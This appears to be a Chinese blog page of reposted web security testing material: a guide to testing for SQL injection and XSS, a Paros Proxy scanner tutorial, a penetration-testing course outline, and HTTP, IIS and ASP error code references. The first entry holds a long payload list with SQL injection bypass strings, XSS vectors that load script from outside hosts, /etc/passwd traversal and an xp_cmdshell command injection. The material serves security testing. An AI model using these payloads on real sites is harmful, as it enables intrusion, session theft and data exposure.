发布新日志

  • 安全性测试系列-如何对网站进行安全性测试(转载)

    2010-07-12 12:21:00

     DJANGO的那篇文档中只介绍了网络中常见的安全问题以及如何从程序的角度去防御它们,并未介绍如何针对安全问题进行测试.本章的主要内容是针对上章中提及的安全性问题介绍如何进行安全性测试.

      1.SQL Injection(SQL注入)

      (1)如何进行SQL注入测试?

    • 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
    注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用.

    <form. id="form_search" action="/search/" method="get">

    <div>

    <input type="text" name="q" id="search_q" value="" />

    <input name="search" type="image" src="/media/images/site/search_btn.gif" />

    <a href="/search/" class="fl">Gamefinder</a>

    </div>

    </form>

    注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
    • 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--
          注: 根据实际情况 ,SQL注入请求可以使用以下语句

    注1:根据实际情况,SQL注入请求可以使用以下语句:

    ' or 1=1- -

    " or 1=1- -

    or 1=1- -

    ' or 'a'='a

    " or "a"="a

    ') or ('a'='a 
       注2:为什么是OR,以及'――'是特殊的字符呢?

    例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where name='"&name&"' and pwd='"&pwd&"'

    如 输入http://duck/index.asp?username=admin' or 1=1- -SQL语句会变成以下:sql=select * from user where name='admin' or 1='1' and password='11'

    OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录.

    如 输入http://duck/index.asp?username=admin'--SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',

    “--”是忽略或注释,上述通过连接符注释掉后面的密码验证(:ACCESS数据库无效).
    • 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
    • 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.
      (2)如何预防SQL注入?
    • 替换或删除敏感字符及字符串。

    • 屏蔽出错信息:阻止攻击者知道攻击的结果

    • 在服务端正式处理之前提交数据的合法性进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

      2.Cross-site scritping(XSS):(跨站点脚本攻击)

    • <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
    • <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

    '><scrīpt>alert('XSS')</scrīpt>

    • 注:其它的XSS测试语句

      ><scrīpt>alert(document.cookie)</scrīpt>
      ='><scrīpt>alert(document.cookie)</scrīpt>
      <scrīpt>alert(document.cookie)</scrīpt>
      <scrīpt>alert(vulnerable)</scrīpt>
      %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
      <scrīpt>alert('XSS')</scrīpt>
      <img src="javascrīpt:alert('XSS')">
      %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
      %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
      %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
      %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
      %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
      %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
      %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
      %3f.jsp
      %3f.jsp
      &lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt
      <scrīpt>alert('Vulnerable')</scrīpt>
      ?sql_debug=1
      a%5c.aspx
      a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
      a/
      a?<scrīpt>alert('Vulnerable')</scrīpt>
      "><scrīpt>alert('Vulnerable')</scrīpt>
      ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
      %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
      %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
      %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
      1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
      ../../../../../../../../etc/passwd
      ..\..\..\..\..\..\..\..\windows\system.ini
      \..\..\..\..\..\..\..\..\windows\system.ini
      '';!--"<XSS>=&{()}
      <IMG SRC="javascrīpt:alert('XSS');">
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
      <IMG SRC="jav ascrīpt:alert('XSS');">
      <IMG SRC="jav ascrīpt:alert('XSS');">
      <IMG SRC="jav ascrīpt:alert('XSS');">
      "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
      <IMG SRC=" javascrīpt:alert('XSS');">
      <scrīpt>a=/XSS/alert(a.source)</scrīpt>
      <BODY BACKGROUND="javascrīpt:alert('XSS')">
      <BODY ōNLOAD=alert('XSS')>
      <IMG DYNSRC="javascrīpt:alert('XSS')">
      <IMG LOWSRC="javascrīpt:alert('XSS')">
      <BGSOUND SRC="javascrīpt:alert('XSS');">
      <br size="&{alert('XSS')}">
      <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
      <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
      <IMG SRC='vbscrīpt:msgbox("XSS")'>
      <IMG SRC="mocha:[code]">
      <IMG SRC="livescrīpt:[code]">
      <META. HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
      <IFRAME. SRC=javascrīpt:alert('XSS')></IFRAME>
      <FRAMESET><FRAME. SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
      <TABLE BACKGROUND="javascrīpt:alert('XSS')">
      <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
      <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
      <DIV STYLE="width: expression(alert('XSS'));">
      <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
      <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
      <STYLE. TYPE="text/javascrīpt">alert('XSS');</STYLE>
      <STYLE. TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
      <STYLE. type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
      <BASE HREF="javascrīpt:alert('XSS');//">
      getURL("javascrīpt:alert('XSS')")
      a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
      <XML SRC="javascrīpt:alert('XSS');">
      "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
      <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
      <IMG SRC="javascrīpt:alert('XSS')"
      <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
      <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
      <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

      最后,验证是否会出现带有“XSS”的弹出框,如果有则说明存在XSS漏洞.
      3.CSRF:(跨站点伪造请求)

      4.Email Header Injection(邮件标头注入)
      5.Directory Traversal(目录遍历)
      6.exposed error messages(错误信息)
  • 安全性测试系列-安全测试工具(PAROS PROXY)[转载]

    2010-07-12 11:57:56

    如果通过手工进行安全性测试效率是非常低的,首先你必须要找到安全性测试的切入点,然后逐一对这些切入点进行检查。但寻找切入点是非常耗时而且对测试人员的安全、编码的知识面要求也非常高,再者即使是找到了安全测试切入点,逐一对这些关键点进行测试也是需要大量的时间的。
    EOX0`"rt4m'n-u"G,b14629为了提高安全测试的效率,我们需要借助一些安全性测试工具。51Testing软件测试网L qpx!_#]%i"_[/S$i.r {
    1.先介绍一个关于安全性测试工具的网站http://sectools.org/web-scanners.htmlhttp://networking.ctocio.com.cn/tips/463/7703463.shtml51Testing软件测试网3dtqQ1_SH
    2.各个安全测试工具的比较大家去看相关文章,在这我们采用的是开源的安全探测工具--Paros proxy51Testing软件测试网 v-qGRUu
    3.以下是关于paros proxy(v3.2.13)介绍
    8m@x"hBVr14629(1)安装 
    • 安装JRE
      • <!--[if !supportLists]--><!--[endif]-->首先确保已安装JRE [Java Run Time Enviroment (JRE) 1.4 (or above) ]
        • 注意:一定要先安装JRE,然后再安装paros proxy,如果先安装paros proxyr后安装JRE,paros proxy将无法启动。
      • 注意:如果找不到JRE,也可以下载相同版本的JDKJDK会带有JRE
    • 配置JRE环境变量:
      • <!--[if !supportLists]--><!--[endif]-->首先,右击我的电脑-属性-高级-环境变量进入环境变量设置对话框。
      • <!--[if !supportLists]-->设置PATH环境变量,在PATH环境变量中输入JRE的安装路径。
        • JRE的安装目录为:c:\JRE.PATH环境变量中加入c:\JRE
        • <!--[if !supportLists]--><!--[endif]-->新建CLASSPATH环境变量,在CLASSPATH环境变量中输入LIB路径。
    • 安装和配置paros proxy应用程序
      • 下载地址:http://sourceforge.net/projects/paros/
      • 安装:
        • 如果下载的是WINDOWS版本,安装比较简单。
        • 如果下载的是UNIX或其它平台的版本,则需要手动将程序解压到一个新的目录,并单击.JAR文件运行程序。
      • 配置:
        • paros需要两个端口:8080和8443,其中8080是代理连接端口,8443是SSL端口,所以必须保证这两个端口并未其它程序所占用。(查看端口命令:打开DOS命令窗口,输入 netstat查看目前使用的端口)
          • 如果在安装完成,启动应用程序时,出现初始化错误,极大的可能就是因为这个端口被其它程序所占用。
            %L Y}\m"o8jWU14629
        • 配置浏览器属性:打开浏览器(如IE),打开工具-选项-连接-LAN设置-选中proxy server,proxyname为:localhost,port为:8080
        • 如果你的计算机运行于防火墙之下,只能通过公司的代理服务器访问网络,你还需要修改PAROS的代理设置,具体的方法是:打开paros-工具-Options-connection,修改"ProxyName" and "ProxyPort"两项为代理服务器的名称和端口.
        • 如果你希望其它的平台可以通过你本地机上的PAROS PROXY来访问WEB SERVER,你需要将本地机上的PAROS PROXY的IP设置为(比如:192.168.0.1)而不是127.0.0.1,因为127.0.0.1只允许本地机使用该应用程序.具体操作方法为:打开paros-工具-options-local proxy,将address51Testing软件测试网)j!u }I.^3T"G!in#{L
    (2)操作步骤
    2p6mFR9\14629
    • 第一步:打开paros proxy,然后在浏览器中打开被测试程序。
    • 第二步--SPIDER:抓取URL。
      • 执行第一步后,系统会自动抓取被测试站点位于URL层次树中第一层的URL(比如一个网站,其首页的URL一般为层次树第一层),并将这些URL显示在左侧的“site”栏中,然后在site栏中选中某一个URL,右击鼠标选取spider命令或单击analyse菜单-spider命令,系统将抓取该 URL层次树中下一层次的URL。
      • 注意:由于paros并不能一些特定的URL路径,比如一些URL链接需要在合法登录后才能被识别出来,因此在进行URL抓取时,一定先要登录网站。
      • 抓取功能不能处理以下情况:
        • 具有非法验证的SSL站点的URL是不能被抓取的。
        • 不支持多线程(也就是说:)
        • 在HTML页中的某些URLS也是不能被识别的。
        • 由javascrīpt生成的URLS也是不能被识别的。
        • 虽然上述这些urls不能被自动抓取,所以我们可以将其手动增加到左侧的“site”栏中,具体的操作方法是:
          • 首先我们要对被测试站点URL的层次树有很好的了解,这样我们才能知道哪个URL抓取了,哪还没有被抓取。
          • 对于未被抓取的URLS,通过打开paros-工具-manual request editor,输入未被抓取的URLS,然后单击SEND按钮,完成手动加入URLS动作,添加成功后的URLS将显示在左侧的“site”栏中。(注:此处存在一个问题,当我输入一个URL后单击发送按钮后,系统总是报错“IO erros is sending request”,查看了一下RESPONSE,结果是我发送的URLS WEB 服务器不能识别,不知道是否对输入的URLS有什么特殊的要求,待定。)51Testing软件测试网#ci%Ac {6yP
    • 第三步--SCANNER:针对“site”栏中的URLS进行扫描,逐一检查对URLS分别进行安全性检查,验证是否存在安全漏洞。
      B~yg2Ifo}J8c14629
      • 如果想扫描"site"栏中所有的URLS,单击anaylse-scan all可以启动全部扫描。
      • 如果只想扫描“site”栏中某一URL,选中该URL,右击鼠标,选取scan命令。
      • SCANNER可以对以下几种情况进行检查:
        • SQL注入
        • 跨站点脚本攻击
        • 目录遍历
        • CRLF-- Carriage-Return Line-Feed 回车换行等。
                注:我们可以通过anylse-scan policy进行安全检查的设置。
    g HA3\W14629
    • 第四步--查看和验证扫描结果:
      • 扫描完成后,单击Report-Last Scan report,可查看当前的扫描报告。
      • 根据扫描报告,对扫描结果进行验证,比如扫描结果中有一是URL传递的参数中存在SQL注入漏洞,我们将该URL及参数输入到地址栏中,验证结果。51Testing软件测试网G'Hf!qVb3ALM
    • 第五步--保存抓取、扫描内容。
      • 保存时应注意:保存的路径不支持特殊字符,比如汉字等,否则会打不开保存后的文件。

  • WEB安全测试基础知识(转载)

    2010-06-30 10:40:51

    第一章:B/S架构体系安全渗透测试基础
    1. HTTP协议基本概念
    (1)介绍HTTP标示URL
    (2)HTTP响 应状态码
    (3)HTTP协议传输内容
    2. WEB应用认证基本概念
    (1)HTTP常见认证机制
    (2)BASE64 编码介绍
    3. B/S架构常见安全问题
    (1)拒绝服务攻击基础
    (2)Smurf攻击模型
    (3)Fraggle攻 击模型
    (4)SynFlooding攻击模型
    (5)碎片攻击
    4. 嗅探理论基础
    (1)网络嗅探原理
    (2) 密码嗅探介绍
    (3)协议分析基础介绍
    第二章:B/S架构体系安全渗透测试攻击基础
    1. B/S架构结构端口扫描分析
    (1)SuperScan 工具
    (2)Nmap端口扫描工具

    2. 输入验证攻击基础知识
    (1)输入验证攻击基本概念
    (2)Unicode 漏洞介绍
    (3)输入验证二次解码漏洞介绍
    3. ASP脚本注入基础知识
    (1)ASP脚本注入基本概念
    (2)ASP 脚本注入检测
    (3)ASP脚本注入信息获取
    (4)AASP脚本注入提权
    4. PHP脚本注入基础知识
    (1)PHP 脚本注入基本概念
    (2)PHP脚本注入检测
    (3)PHP脚本注入信息获取
    (4)PHP脚本注入提权
    5.跨站脚本 原理及防御
    (1)跨站脚本基本概念
    (2)跨站脚本实例
    (3)跨站脚本解决方法
    6、 Web权限提升分析
    (1)Web 权限提升基本概念
    (2)WeBShell上传方法
    (3)Web权限提升7大方法:本地提权、Gina木马…
    7.APR嗅探 基础
    (1)APR协议概念
    (2)APR欺骗攻击
    (3) 交换域网络嗅探
    第三章:B/S架构体系安全渗透测试攻击与 测试工具
    1、 攻击工具介绍
    (1)注入攻击工具原理
    (2)注入攻击工具分析
    (3)攻击测试平台搭建
    2. 注入攻击工具使用练习(ASP+SQL Server注入攻击实战)
    (1)注入攻击工具使用
    (2)域名检查攻击工具使用及域名信息查询 用
    3.拒绝服务攻击工具使用练习
    (1)SynFlooding攻击工具测试
    (2)UDPflood攻击工具测试
    (3) 畸形DDOS攻击工具
    4.嗅探攻击工具使用练习
    (1)ARP欺骗攻击工具 密码嗅探练习
    (2)嗅探协议分析练习
    5. B/S安全评估工具使用练习
    (1)Web脚本评估工具安装
    (2)B/S架构扫描
    (3)评估报告分析撰写模版


    HTTP 服务器状态代码定义(Status Code Definitions)

      
    1.1 消息1xx(Informational 1xx)
    该类状态代码用于表示临时回应。临时回应由状态行(Status-Line)及可选标题组 成, 由空行终止。HTTP/1.0中没有定义任何1xx的状态代码,所以它们不是对HTTP/1.0请求的   合法回应。实际上,它们主要用于实验用途,这已经超出本文档的范围。
    1.2 成功2xx(Successful 2xx)
    表示客 户端请求被成功接收、理解、接受。
    200 OK
    请求成功。回应的信息依赖于请求所使用的方法,如下:
    GET 要请求的资源已经放在回应的实体中了。
    HEAD 没有实体主体,回应中只包括标题信息。
    POST 实体(描述或包含操作的结果)。
    201 Created
    请求完成,结果是创建了新资源。新创建资源的URI可在回应的实体中得到。原始服务器应在发出该状态代码前创 建该资源。如果该操作不能立即完成,服务器必须在该资源可用时在回应主体中给出提示,否则,服务器端应回应202(可被接受)。
    在本文定义的方 法,只有POST可以创建资源。
    202 Accepted
    请求被接受,但处理尚未完成。请求可能不一定会最终完成,有可能被处理过程 随时中断,在这种情况下,没有办法在异步操作中重新发送状态代码。
    202回应是没有义务的,这样做的目的是允许服务器不必等到用户代理和服务器 间的连接结束,就可以响应其它过程的请求(象每天运行一次的,基于批处理的过程)。
    在某些回应中返回的实体中包括当前请求的状态指示、状态监视 器指针或用户对请求能否实现的评估信息。
    204 No Content
    服务器端已经实现了请求,但是没有返回新的信息。如果客户是用户 代理,则勿需为此更新自身的文档视图。该回应主要是为了在不影响用户代理激活文档视图的前提下,进行script语句的输入及其它操作。该回应还可能包括 新的、以实体标题形式表示的元信息,它可被当前用户代理激活视图中的文档所使用。
    1.3 重定向(Redirection 3xx)
    该 类状态码表示用户代理要想完成请求,还需要发出进一步的操作。这些操作只有当后跟的请求是GET或HEAD时,才可由用户代理来实现,而不用与用户进行交 互。用户代理永远也不要对请求进行5次以上的重定向操作,这样可能导致无限循环。
    300 Multiple Choices
    该状态码 不被HTTP/1.0的应用程序直接使用,只是做为3xx类型回应的缺省解释。存在多个可用的被请求资源。
    除非是HEAD请求,否则回应的实体 中必须包括这些资源的字符列表及位置信息,由用户或用户代理来决定哪个是最适合的。
    如果服务器有首选,它应将对应的URL信息存放在位置域 (Location field)处,用户代理会根据此域的值来实现自动的重定向。
    301 Moved Permanently
    请求 到的资源都会分配一个永久的URL,这样就可以在将来通过该URL来访问此资源。有编辑链接功能的客户端会尽可能地根据服务器端传回的新链接而自动更新请 求URI。 新的URL必须由回应中的位置域指定。除非是HEAD请求,否则回应的实体主体   (Entity-Body)必须包括对新URL超链接的简要描述。
    如果用POST方法发出请求,而接收到301回应状态码。在这种情况下, 除非用户确认,否则用户代理不必自动重定向请求,因为这将导致改变已发出请求的环境。
    注意:当在接收到301状态码后而自动重定向POST请求 时,一些现存的用户代理会错误地将其改为GET请求。
    302 Moved Temporarily
    请求到的资源在一个不同的URL处临 时保存。因为重定向有时会被更改,客户端应继续用请求URI来发出以后的请求。新的URL必须由回应中的位置域指定。除非是HEAD请求,否则回应的实体 主体 (Entity-Body)必须包括对新URL超链接的简要描述。
    如果用POST方法发出请求,而接收到302回应状态码。在这种情况 下,除非用户确认,否则用户代理不必自动重定向请求,因为这将导致改变已发出请求的环境。
    注意:当在接收到302状态码后而自动重定向POST 请求时,一些现存的用户代理会错误地将其改为GET请求。
    304 Not Modified
    如果客户端成功执行了条件GET请求,而 对应文件自If-Modified-Since域所指定的日期以来就没有更新过,服务器应当回应此状态码,而不是将实体主体发送给客户端。回应标题域中只 应包括一些相关信息,比如缓存管理器、与实体最近更新(entity's Last-Modified)日期无关的修改。相关标题域的例子有:日期、服务器、过期时间。每当304回应中给出的域值发生变化,缓存都应当对缓存的实 体进行更新。
    1.4 客户端错误(Client Error )4xx
    4xx类的状态码表示客户端发生错误。如果客户端在收到4xx 代码时请求还没有完成,它应当立即终止向服务器发送数据。除了回应HEAD请求外,不论错误是临时的还是永久的,服务器端都必须在回应的实体中包含错误状 态的解释。这些状态码适用于任何请求方法。
    注意:如果客户端正在发送数据,服务器端的TCP实现应当小心,以确保客户端在关闭输入连接之前收到 回应包。如果客户端在关闭后仍旧向服务器发送数据,服务器会给客户  端发送一个复位包,清空客户端尚未处理的输入缓冲区,以终止HTTP应用程序的读 取、解释活动。
    400 非法请求(Bad Request)
    如果请求的语法不对,服务器将无法理解。客户端在对该请求做出更改之前, 不应再次向服务器重复发送该请求。
    401 未授权(Unauthorized)
    请求需要用户授权。回应中的WWW- Authenticate标题域(10.16节)应提示用户以授权方式请求资源。客户端应使用合适的授权标题域(10.2节)来重复该请求。如果请求中已 经包括了授权信任信息,那回应的401表示此授权被拒绝。如果用户代理在多次尝试之后,回应一样还是返回401状态代码,用户应当察看一下回应的实体,因 为在实体中会包括一些相关的动态信息。HTTP访问授权会在11节中解释。
    403 禁止(Forbidden)
    服务器理解请求,但是 拒绝实现该请求。授权对此没有帮助,客户端应当停止重复发送此请求。如果不是用HEAD请求方法,而且服务器端愿意公布请求未被实现原因的前提下,服务器 会将拒绝原因写在回应实体中。该状态码一般用于服务器端不想公布请求被拒绝的细节或没有其它的回应可用。
    404 没有找到(Not Found)
    服务器没有找到与请求URI相符的资源。404状态码并不指明状况是临时性的还是永久性的。如果服务器不希望为客户端提供这方面的 信息,还回应403(禁止)状态码。
    1.5 服务器错误(Server Error )5xx
    回应代码以‘5’开头的状态码表示服务 器端发现自己出现错误,不能继续执行请求。如果客户端在收到5xx状态码时,请求尚未完成,它应当立即停止向服务器发送数据。除了回应HEAD请求外,服 务器应当在其回应实体中包括对错误情况的解释、并指明是临时性的还永久性的。
    这类回应代码没有标题域,可适用于任何请求方法。
    500 服务器内部错误(Internal Server Error)
    服务器碰到了意外情况,使其无法继续回应请求。
    501 未实现(Not Implemented)
    服务器无法提供对请求中所要求功能的支持。如果服务器无法识别请求方法就会回应此状态代码,这意味着 不能回应请求所要求的任何资源。
    502 非法网关(Bad Gateway)
    充当网关或代理的服务器从要发送请求的上游 (upstream)服务器收到非法的回应。
    503 服务不可用(Service Unavailable)
    服务器当前无法处理请 求。这一般是由于服务器临时性超载或维护引起的。该状态码暗示情况是暂时性的,要产生一些延迟。
    注意:503状态码并没有暗示服务器在超载时一 定要返回此状态码。一些服务器可能希望在超载时采用简单处理,即断掉连接。



    IIS 错误代码大汇总

    400 无法解析此请求。 401.1 未经授权:访问由于凭据无效被拒绝。
    401.2 未经授权: 访问由于服务器配置倾向使用替代身份验证方法而被拒绝。
    401.3 未经授权:访问由于 ACL 对所请求资源的设置被拒绝。
    401.4 未经授权:Web 服务器上安装的筛选器授权失败。
    401.5 未经授权:ISAPI/CGI 应用程序授权失败。
    401.7 未经授权:由于 Web 服务器上的 URL 授权策略而拒绝访问。
    403 禁止访问:访问被拒绝。
    403.1 禁止访问:执行访问被拒绝。
    403.2 禁止访问:读取访问被拒绝。
    403.3 禁止访问:写入访问被拒绝。
    403.4 禁止访问:需要使用 SSL 查看该资源。
    403.5 禁止访问:需要使用 SSL 128 查看该资源。
    403.6 禁止访问:客户端的 IP 地址被拒绝。
    403.7 禁止访问:需要 SSL 客户端证书。
    403.8 禁止访问:客户端的 DNS 名称被拒绝。
    403.9 禁止访问:太多客户端试图连接到 Web 服务器。
    403.10 禁止访问:Web 服务器配置为拒绝执行访问。
    403.11 禁止访问:密码已更改。
    403.12 禁止访问:服务器证书映射器拒绝了客户端证书访问。
    403.13 禁止访问:客户端证书已在 Web 服务器上吊销。
    403.14 禁止访问:在 Web 服务器上已拒绝目录列表。
    403.15 禁止访问:Web 服务器已超过客户端访问许可证限制。
    403.16 禁止访问:客户端证书格式错误或未被 Web 服务器信任。
    403.17 禁止访问:客户端证书已经到期或者尚未生效。
    403.18 禁止访问:无法在当前应用程序池中执行请求的 URL。
    403.19 禁止访问:无法在该应用程序池中为客户端执行 CGI。
    403.20 禁止访问:Passport 登录失败。
    404 找不到文件或目录。
    404.1 文件或目录未找到:网站无法在所请求的端口访问。

        注意 404.1 错误只会出现在具有多个 IP 地址的计算机上。如果在特定 IP 地址/端口组合上收到客户端请求,而且没有将 IP 地址配置为在该特定的端口上侦听,则 IIS 返回 404.1 HTTP 错误。例如,如果一台计算机有两个 IP 地址,而只将其中一个 IP 地址配置为在端口 80 上侦听,则另一个 IP 地址从端口 80 收到的任何请求都将导致 IIS 返回 404.1 错误。只应在此服务级别设置该错误,因为只有当服务器上使用多个 IP 地址时才会将它返回给客户端。

    404.2 文件或目录无法找到:锁定策略禁止该请求。
    404.3 文件或目录无法找到:MIME 映射策略禁止该请求。
    405 用于访问该页的 HTTP 动作未被许可。
    406 客户端浏览器不接受所请求页面的 MIME 类型。
    407 Web 服务器需要初始的代理验证。
    410 文件已删除。
    412 客户端设置的前提条件在 Web 服务器上评估时失败。
    414 请求 URL 太大,因此在 Web 服务器上不接受该 URL。
    500 服务器内部错误。
    500.11 服务器错误:Web 服务器上的应用程序正在关闭。
    500.12 服务器错误:Web 服务器上的应用程序正在重新启动。
    500.13 服务器错误:Web 服务器太忙。
    500.14 服务器错误:服务器上的无效应用程序配置。
    500.15 服务器错误:不允许直接请求 GLOBAL.ASA。
    500.16 服务器错误:UNC 授权凭据不正确。
    500.17 服务器错误:URL 授权存储无法找到。
    500.18 服务器错误:URL 授权存储无法打开。
    500.19 服务器错误:该文件的数据在配置数据库中配置不正确。
    500.20 服务器错误:URL 授权域无法找到。
    500 100 内部服务器错误:ASP 错误。
    501 标题值指定的配置没有执行。
    502 Web 服务器作为网关或代理服务器时收到无效的响应。

    WIN2003 SERVER IIS6.0 ASP 错误解析

        事件 ID 描述

    0100 内存不足。无法分配所需的内存。
    0101 意外错误。函数返回 |。
    0102 要求字符串输入。函数需要字符串输入。
    0103 要求数字输入。函数需要数字输入。
    0104 不允许操作。
    0105 索引超出范围。数组索引超出范围。
    0106 类型不匹配。遇到未处理的数据类型。
    0107 数据大小太大。请求中发送的数据大小超出允许的限制。
    0108 创建对象失败。创建对象 '%s' 时出错。
    0109 成员未找到。
    0110 未知的名称。
    0111 未知的界面。
    0112 参数丢失。

    0113 脚本超时。超过了脚本运行的最长时间。可以通过为 Server.ScriptTimeout 属性指定一个新值或在 IIS 管理工具中修改值来更改此限制。
    0114 对象不可用于自由线程。应用程序对象仅接受自由线程对象;而对象 '%s' 不可用于自由线程。
    0115 意外错误。外部对象中发生一个可捕捉的错误 (%X)。脚本无法继续运行。
    0116 脚本分隔符结束标记丢失。脚本块缺少脚本结束标记 (%>)。
    0117 脚本结束标记丢失。脚本块缺少脚本结束标记 (</SCRIPT>) 或标记结束符号 (>)。
    0118 对象的结束标记丢失。对象块缺少对象结束标记 (</OBJECT>) 或标记结束符号 (>)。
    0119 Classid 或 Progid 属性丢失。对象实例 '|' 在对象标记中需要有效的 Classid 或 Progid。
    0120 Runat 属性无效。脚本标记或对象标记的 Runat 属性只能有 'Server' 值。
    0121 对象标记中的范围无效。对象实例 '|' 的作用范围不能是 Application 或 Session。要创建有 Session 或 Application 作用范围的对象实例,请将在 Global.asa 文件中加入 Object 标记。
    0122 对象标记中的范围无效。对象实例 '|' 必须有 Application 或 Session 作用范围。这将应用于所有在 Global.asa 文件内创建的对象。
    0123 缺少 Id 属性。缺少 Object 标记所需的 Id 属性。
    0124 Language 属性丢失。缺少 Object 标记所需的 Language 属性。
    0125 属性结束标记丢失。'|' 属性的值没有结束分隔符。
    0126 未找到 Include 文件。未找到 Include 文件 '|'。
    0127 HTML 注释的结束标记丢失。HTML 注释或在服务器端的包含文件缺少结束标记 (-->)。
    0128 File 或 Virtual 属性丢失。Include 文件名必须用 File 或 Virtual 属性指定。
    0129 未知的脚本语言。服务器上找不到脚本语言 '|'。
    0130 File 属性无效。File 属性 '|' 不能以斜杠或反斜杠开始。
    0131 不允许的父路径。Include 文件 '|' 不能包含 '..' 来表示父目录。
    0132 编译错误。无法处理 Active Server Page '|'。
    0133 ClassID 属性无效。对象标记有一个无效的 ClassID '|'。
    0134 ProgID 属性无效。对象有一个无效的 ProgID '|'。
    0135 循环包含。文件 '|' 包含它本身(可能是非直接地包含)。请检查包含文件中的其他 Include 语句。
    0136 对象实例名无效。对象实例 '|' 试图使用一个保留名称。这个名称被 Active Server Pages 的内部对象使用。
    0137 全局脚本无效。脚本块必须是允许的 Global.asa 过程之一。Global.asa 文件中不允许在 <% ... %> 内使用脚本指令。允许的过程名称是 Application_OnStart、Application_OnEnd、Session_OnStart 或 Session_OnEnd。
    0138 脚本块嵌套。脚本块不可放在另一个脚本块内。
    0139 嵌套对象。对象标记不能放在另一个对象标记内。
    0140 页命令次序有误。@ 命令必须是 Active Server Page 中的第一个命令。
    0141 页命令重复。@ 命令只可以在 Active Server Page 中使用一次。
    0142 线程令牌错误。无法打开线程令牌。
    0143 应用程序名无效。未找到有效的应用程序名称。
    0144 初始化错误。初始化时页级别的对象列表失败。
    0145 新应用程序失败。无法添加新的应用程序。
    0146 新会话失败。无法添加新的会话。
    0147 500 服务器错误。
    0148 服务器太忙。

    0149 正在重新启动应用程序。重启动应用程序期间无法处理请求。
    0150 应用程序目录错误。无法打开应用程序目录。
    0151 更改通知错误。无法创建更改通知事件。
    0152 安全错误。处理用户安全凭据时发生错误。
    0153 线程错误。新线程请求已失败。
    0154 HTTP 头写入错误。HTTP 头无法写入客户端浏览器。
    0155 页内容写入错误。页内容无法写入客户端浏览器。
    0156 头错误。HTTP 头已经写入到客户端浏览器。任何 HTTP 头必须在写入页内容之前修改。
